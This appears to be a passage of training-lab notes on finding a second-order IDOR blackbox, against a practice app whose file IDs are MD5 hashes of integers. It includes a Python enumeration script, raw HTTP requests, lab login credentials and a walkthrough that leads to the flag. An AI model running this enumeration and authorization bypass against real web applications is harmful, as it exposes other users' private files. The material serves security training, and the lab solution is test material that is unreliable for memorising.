Now that we have seen how to approach second-order IDOR vulnerabilities from a whitebox approach, let us discuss the differences and additional challenges when we do not have access to the source code and must identify second-order IDORs from a blackbox approach.
Modified version of previous lab, but no source code access.
When accessing a file, the file GET parameter looks like a hash:
/file.php?file=c81e728d9d4c2f636f067f89cc14862c
Additionally, the profile page shows a file preview displaying first few characters of the last accessed file.
Apply methodology from Bypassing Encoded References (Web Attacks module).
Research reveals: c81e728d9d4c2f636f067f89cc14862c = MD5 hash of "2"
echo -n 2 | md5sum
# c81e728d9d4c2f636f067f89cc14862cGET /file.php?file=doesnotexist HTTP/1.1
Host: 2ndorderidor.htb
Cookie: PHPSESSID=evu3lpmb2uslfdcb337deojlqjResponse:
HTTP/1.1 302 Found
Location: profile.php?error=File+does+not+exist!import hashlib, requests
URL = "http://172.17.0.2/file.php"
COOKIE = {"PHPSESSID": "evu3lpmb2uslfdcb337deojlqj"}
for file_id in range(1000):
id_hash = hashlib.md5(str(file_id).encode()).hexdigest()
r = requests.get(URL, params={"file": id_hash}, cookies=COOKIE)
if not "File does not exist!" in r.text:
print(f"Found file with id: {file_id} -> {id_hash}")Results:
Found file with id: 1 -> c4ca4238a0b923820dcc509a6f75849b
Found file with id: 2 -> c81e728d9d4c2f636f067f89cc14862c
Found file with id: 3 -> eccbc87e4b5ce2fe28308fd9f2a7baf3
Found file with id: 4 -> a87ff679a2f3e71d9181a67b7542122c
Files 2, 3, 4 are ours. File 1 belongs to another user.
Accessing file ID 1:
GET /file.php?file=c4ca4238a0b923820dcc509a6f75849b HTTP/1.1
Host: 2ndorderidor.htb
Cookie: PHPSESSID=evu3lpmb2uslfdcb337deojlqjResponse:
HTTP/1.1 302 Found
Location: profile.php?error=Access+denied!Authorization check prevents direct access. Not vulnerable to first-order IDOR.
Think about other functions that may be affected by the failed file access.
In this application:
- The file is loaded into "recently accessed" database
- First few characters are displayed in profile "Continue where you left off" section
- No additional authorization check for this preview!
┌─────────────────────────────────────────────────────────────────────────┐
│ Second-Order IDOR (Blackbox) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Access /file.php?file=<MD5(1)> (admin's file) │
│ └── Authorization check fails → "Access denied!" │
│ └── BUT: File ID stored in "recently accessed" database │
│ │
│ 2. Visit /profile.php │
│ └── "Continue where you left off" shows file preview │
│ └── NO authorization check on preview! │
│ └── Admin's file content partially displayed! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
After accessing file ID 1 (even with "Access denied"), the profile shows:
Continue where you left off:
Secret Apple Pie Recipe
Ingredients...
- Sample app is small → easy to discover
- Real-world apps are significantly more complex
- Multiple features affect each other
- Requires thorough understanding of app functionality
- Must consider how different functions interact to provoke second-order IDORs
Task: Exploit the second-order IDOR vulnerability to obtain the flag.
Login with htb-stdnt:Academy_student!
Notice file URLs use MD5 hashes:
echo -n 2 | md5sum
# c81e728d9d4c2f636f067f89cc14862cAfter viewing a file, the "Continue where you left off" section shows first few characters.
echo -n 5 | md5sum
# e4da3b7fbbce2345d7772b0674a318d5Using Burp, intercept request to /file.php and change file parameter:
GET /file.php?file=e4da3b7fbbce2345d7772b0674a318d5 HTTP/1.1
Host: <TARGET>
Cookie: PHPSESSID=<your_session>Forward the request, then check profile page.
The "Continue where you left off" section displays the flag!